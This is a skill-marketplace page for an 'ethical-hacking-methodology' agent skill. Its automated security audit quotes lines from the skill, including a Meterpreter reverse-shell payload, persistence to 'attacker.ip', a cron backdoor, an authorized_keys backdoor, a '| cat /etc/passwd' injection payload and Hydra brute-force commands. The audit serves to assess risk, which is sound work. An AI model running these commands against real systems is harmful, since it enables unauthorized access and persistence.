Skills ethical-hacking-methodology
📦
ethical-hacking-methodology
Content revision r1 Critical ⚙️ External commands🌐 Network access📁 Filesystem access
Plan Authorized Penetration Tests
Security teams need a repeatable method for authorized assessments. This skill organizes reconnaissance, scanning, exploitation evidence, and reporting into one workflow.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "ethical-hacking-methodology" from https://skillstore.io/skills/sickn33-ethical-hacking-methodology.md and its manifest at https://skillstore.io/api/skills/sickn33-ethical-hacking-methodology/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "ethical-hacking-methodology". Authorized assessment kickoff for a small web application.
Expected outcome:
- Scope boundaries and approval assumptions.
- Reconnaissance and scanning phases with evidence goals.
- Reporting deliverables for executives and technical owners.
Using "ethical-hacking-methodology". Assessment notes include outdated software, weak passwords, and missing logging.
Expected outcome:
A concise findings summary with severity, business impact, affected systems, and prioritized remediation actions.
Using "ethical-hacking-methodology". Plan a controlled validation for a suspected injection flaw.
Expected outcome:
- Confirm authorization and test window.
- Use a lab or approved target only.
- Record evidence, impact, rollback steps, and remediation guidance.
Security Audit
Criticalv6 • 7/9/2026 Open versioned report
The skill is an offensive penetration testing guide with explicit commands for scanning, exploitation, brute forcing, Metasploit payloads, persistence, privilege escalation, and disk writes. Several Markdown fence detections are false positives for Ruby execution, but the surrounding instructions contain operational techniques that remain high risk. No prompt injection attempt was found in the reviewed SKILL.md content.
1
Files scanned
473
Lines analyzed
29
Review items
0
False positives ignored
Confirmed security concerns (31)
Critical
SSH directory access
# Add attacker's public key to ~/.ssh/authorized_keys
The line instructs adding an attacker public key to the SSH authorized_keys path. This creates persistent unauthorized access.
Critical
SSH host/auth files
# Add attacker's public key to ~/.ssh/authorized_keys
The line targets SSH authorization files for attacker persistence. That is a high-impact credential and access control risk.
Critical
Metasploit framework
**Metasploit Framework**
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Critical
Metasploit framework
# Start Metasploit
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Critical
Metasploit framework
msf> set PAYLOAD windows/meterpreter/reverse_tcp
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Critical
Metasploit framework
# Meterpreter persistence
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Critical
Metasploit framework
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Critical
Metasploit framework
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Show all 31 confirmed findings
Critical
Metasploit framework
| Maintaining Access | Persistence | Meterpreter, SSH keys |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Critical
Metasploit framework
| `msfconsole` | Start Metasploit |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Critical
Malware type keywords
**Backdoors**
The backdoors heading introduces a section on establishing persistent access. The following lines include Meterpreter, SSH key, and cron persistence.
Critical
Malware type keywords
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
The command installs a recurring cron job for /tmp/backdoor.sh. This is explicit malware-like persistence.
Critical
System password file access
# | cat /etc/passwd
The line shows a command injection payload that reads /etc/passwd. Even as a comment, it gives a sensitive file access test payload.
Critical
Disk destruction command
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
The dd command writes to /dev/sdb and can overwrite an entire disk. This is destructive if aimed at the wrong device.
Critical
Persistence and Backdoor Guidance
The skill directs users to establish persistent access with backdoors, Meterpreter persistence, SSH authorized keys, and cron jobs.
The section explicitly says to establish persistent access and lists concrete backdoor persistence methods.
High
Malware type keywords
- Clean up test files and backdoors
The line discusses cleaning up backdoors after testing. In context it normalizes creation and removal of backdoors during an engagement.
High
Network scanning tools
nmap -sn 192.168.1.0/24
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap -sP 192.168.1.0/24
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap -sS target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap -sT target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap -sU target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap -p- target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap -sV target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap -A target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap --script=http-enum target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap --script=smb-enum-shares target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap --script=ftp-anon target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
nmap --script=vuln target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Network scanning tools
| `nmap -sV target` | Port and service scan |
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
High
Evasion and Exploit Adjustment Guidance
Troubleshooting advises proxies, VPNs, packet fragmentation, different scan techniques, and alternative exploits when blocked.
The guidance appears in blocked scan and failed exploit troubleshooting, so it can help bypass defenses or continue exploitation.
Capability review items (29)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Ruby/shell backtick execution
```bash
The Metasploit block walks through exploit search, module selection, payload setup, and execution. This is direct exploitation guidance.
Critical
Ruby/shell backtick execution
```bash
The block gives SQLMap database enumeration and command injection test payloads, including reading a system password file. This is exploitation guidance.
Critical
Ruby/shell backtick execution
```bash
The block teaches persistence through Meterpreter, SSH authorized keys, and a cron backdoor. This is post-exploitation access maintenance.
Critical
Ruby/shell backtick execution
| `msfconsole` | Start Metasploit |
The table directs users to start Metasploit, a framework used for exploit execution. Nearby sections show exploitation workflows.
Critical
Hidden file in home directory
# Add attacker's public key to ~/.ssh/authorized_keys
The line instructs adding an attacker key to ~/.ssh/authorized_keys. That creates stealthy persistent access.
Critical
Hidden file access
# Add attacker's public key to ~/.ssh/authorized_keys
The line references modifying ~/.ssh/authorized_keys for attacker persistence. Hidden SSH file access is central to the technique.
Critical
Non-standard device file access
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
The dd command writes an ISO directly to /dev/sdb. A wrong device selection can overwrite disks and destroy data.
Critical
Temp directory access
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
The line writes a cron entry that runs /tmp/backdoor.sh every minute. This is explicit persistence through a backdoor.
High
Ruby/shell backtick execution
```bash
The block gives host discovery commands using Nmap and ARP scanning against a subnet. These are active enumeration steps.
High
Ruby/shell backtick execution
```bash
The block gives multiple Nmap port scanning modes, including stealth, UDP, full port, and aggressive scans. This is operational network reconnaissance.
High
Ruby/shell backtick execution
```bash
The block uses Nmap service and vulnerability scripts for HTTP, SMB, FTP, and general vulnerability discovery. This enables target enumeration.
High
Ruby/shell backtick execution
```bash
The block lists Nikto, OpenVAS, and Nessus scanning commands. These can probe authorized targets but are active security testing tools.
High
Ruby/shell backtick execution
```bash
The block lists directory brute forcing, subdomain enumeration, and fingerprinting commands. These can reveal hidden application paths and assets.
High
Ruby/shell backtick execution
```bash
The block provides Hydra brute-force commands and John password cracking usage. These are credential attack techniques.
High
Ruby/shell backtick execution
```bash
The block lists privilege escalation enumerators, SUID discovery, and sudo permission checks. This supports post-compromise escalation.
High
Ruby/shell backtick execution
```bash
The block writes to and partitions block devices for Kali persistence. These commands can destroy data if the device is wrong.
High
Ruby/shell backtick execution
| `nmap -sV target` | Port and service scan |
The table presents an Nmap service scan as an essential command. This is active port and service enumeration.
High
Ruby/shell backtick execution
| `nikto -h target` | Web vulnerability scan |
The table presents Nikto web scanning as an essential command. This is active vulnerability probing.
High
Ruby/shell backtick execution
| `hydra -l user -P list ssh://target` | SSH brute force |
The table gives a Hydra SSH brute-force command. This is a credential attack against a network service.
High
sudo privilege escalation
# Check sudo permissions
The comment introduces sudo permission checks inside a privilege escalation section. It supports post-compromise enumeration.
High
sudo privilege escalation
sudo -l
The sudo -l command enumerates elevated privileges on a host. In this context it supports privilege escalation.
High
FTP protocol
hydra -L users.txt -P passwords.txt ftp://target.com
The FTP URL appears in a Hydra brute-force command. This is credential attack guidance against a network service.
High
SSH protocol URL
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
The SSH URL appears in a Hydra brute-force command using a password wordlist. This is credential attack guidance.
High
SSH protocol URL
| `hydra -l user -P list ssh://target` | SSH brute force |
The SSH URL appears in an essential Hydra brute-force command. This supports credential attacks against SSH.
High
Non-standard device file access
gparted /dev/sdb
The gparted command opens a raw block device for partitioning. This can alter or destroy data on the selected disk.
High
Non-standard device file access
mount /dev/sdb2 /mnt/usb
The mount command accesses a raw block device path. It is setup-related, but still directs filesystem access outside normal files.
Medium
Ruby/shell backtick execution
```bash
The Markdown block presents WHOIS, DNS, subdomain discovery, and email harvesting commands. These external tools enable reconnaissance against real targets.
Medium
Ruby/shell backtick execution
```
The block lists queries for exposed files, login pages, directories, and env/config files. This can help identify sensitive assets for later attacks.
Low
Standard device file access
find / -perm -4000 2>/dev/null
The command redirects errors to /dev/null while enumerating SUID binaries. The device access is minor, but the privilege escalation context is real.
Risk Factors
⚙️ External commands (32)
SKILL.md:73-88 SKILL.md:88-91 SKILL.md:91-107 SKILL.md:107-128 SKILL.md:128-137 SKILL.md:137-140 SKILL.md:140-158 SKILL.md:158-161 SKILL.md:161-169 SKILL.md:169-190 SKILL.md:190-199 SKILL.md:199-214 SKILL.md:214-223 SKILL.md:223-230 SKILL.md:230-249 SKILL.md:249-252 SKILL.md:252-259 SKILL.md:259-262 SKILL.md:262-273 SKILL.md:273-280 SKILL.md:280-289 SKILL.md:289-292 SKILL.md:292-306 SKILL.md:306-387 SKILL.md:387-400 SKILL.md:400-434 SKILL.md:434-435 SKILL.md:435-436 SKILL.md:436-437 SKILL.md:437-438 SKILL.md:304 SKILL.md:305
🌐 Network access (10)
📁 Filesystem access (8)
Detected Patterns
SSH directory accessMetasploit framework×8Malware type keywords×3System password file accessDisk destruction commandNetwork scanning tools×14
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-ethical-hacking-methodology?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-ethical-hacking-methodology?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-ethical-hacking-methodology/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-ethical-hacking-methodology.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
zebbern. (2026). ethical-hacking-methodology security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6BibTeX citation
@techreport{zebbern-sickn33-ethical-hacking-methodology-2026,
author = {zebbern},
title = {ethical-hacking-methodology security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "ethical-hacking-methodology security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-ethical-hacking-methodology:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Prepare an Authorized Assessment
Build a phase-based plan, scope checklist, and deliverable list for a permitted security test.
Teach Penetration Testing Concepts
Explain common phases, tools, risks, and reporting expectations in a controlled classroom or lab.
Structure a Findings Report
Convert assessment notes into executive findings, technical details, risk ratings, and remediation priorities.
Try These Prompts
Map an Authorized Engagement
I have written authorization for [scope]. Help me outline permitted phases, evidence to collect, and final deliverables.
Build a Reconnaissance Checklist
Create a passive and active reconnaissance checklist for [authorized target]. Include boundaries, tool categories, and evidence notes.
Triage Findings for a Report
Review these authorized test observations: [notes]. Group likely findings by severity, impact, and remediation priority.
Design a Controlled Validation Plan
For a sanctioned lab or client test, propose a validation plan for [vulnerability class]. Include controls, rollback steps, and report evidence.
Best Practices
- Confirm written authorization and scope before using any technique.
- Keep logs, timestamps, and evidence organized for reporting.
- Use controlled labs or client-approved windows for active testing.
Avoid
- Running scans, exploitation, or password attacks against systems outside scope.
- Using persistence, backdoors, or cleanup steps without explicit approval.
- Treating example commands as safe for production environments.
Frequently Asked Questions
Is this skill safe for general use?
It contains offensive methodology and should only be used for authorized testing or controlled labs.
Does the skill run tools automatically?
No. It is documentation, but an agent may suggest commands if the user requests them.
Can beginners use this skill?
Beginners can study the phases, but they need legal, networking, and security knowledge before testing.
What deliverables does it support?
It supports reconnaissance notes, vulnerability summaries, exploitation evidence, and final assessment reports.
Which tools does it mention?
It mentions Kali Linux, Nmap, Nikto, Gobuster, Metasploit, Hydra, SQLMap, and reporting workflows.
Why may this skill need marketplace restrictions?
It includes exploitation, brute-force, persistence, privilege escalation, and disk device commands.
Developer Details
Author
zebbernLicense
MIT
Skillstore revision
r1
Version notice
The author did not declare a version.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/ethical-hacking-methodologyRef
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Maintenance freshness
7/18/2026
Usage
10 downloads · 149 views
File structure
📄 SKILL.md